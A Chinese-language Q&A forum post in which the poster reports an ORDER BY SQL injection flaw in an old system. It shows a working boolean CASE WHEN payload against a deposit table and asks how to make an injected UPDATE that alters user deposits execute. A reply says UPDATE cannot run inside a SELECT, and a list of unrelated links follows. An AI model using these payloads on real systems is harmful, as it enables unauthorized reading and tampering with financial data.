mysql - sql報錯原因?
問題描述
發現一個正在維護的老系統的基于orderBy的sql注入漏洞,準備驗證一下,
我先執行這個sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當我執行這個帶update語句的sql時報錯了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應該如何讓他執行update?
問題解答
回答1:主體是select的時候,里面是不能update的,否則執行不了的,mybatis這種注入我試過,<select>里執行update直接報錯,注入不了
相關文章:
1. mysql - eclispe無法打開數據庫連接2. css3 - 沒明白盒子的height隨width的變化這段css是怎樣實現的?3. css3 - 這個右下角折角用css怎么畫出來?4. debian - docker依賴的aufs-tools源碼哪里可以找到啊?5. java - 根據月份查詢多個表里的內容怎么實現好?6. javascript - webpack熱加載配置不生效7. python3.x - c++調用python38. javascript - 在 model里定義的 引用表模型時,model為undefined。9. android - 課程表點擊后浮動后邊透明可以左右滑動的界面是什么?10. javascript - 一個關于客戶端和前端通信的疑惑?
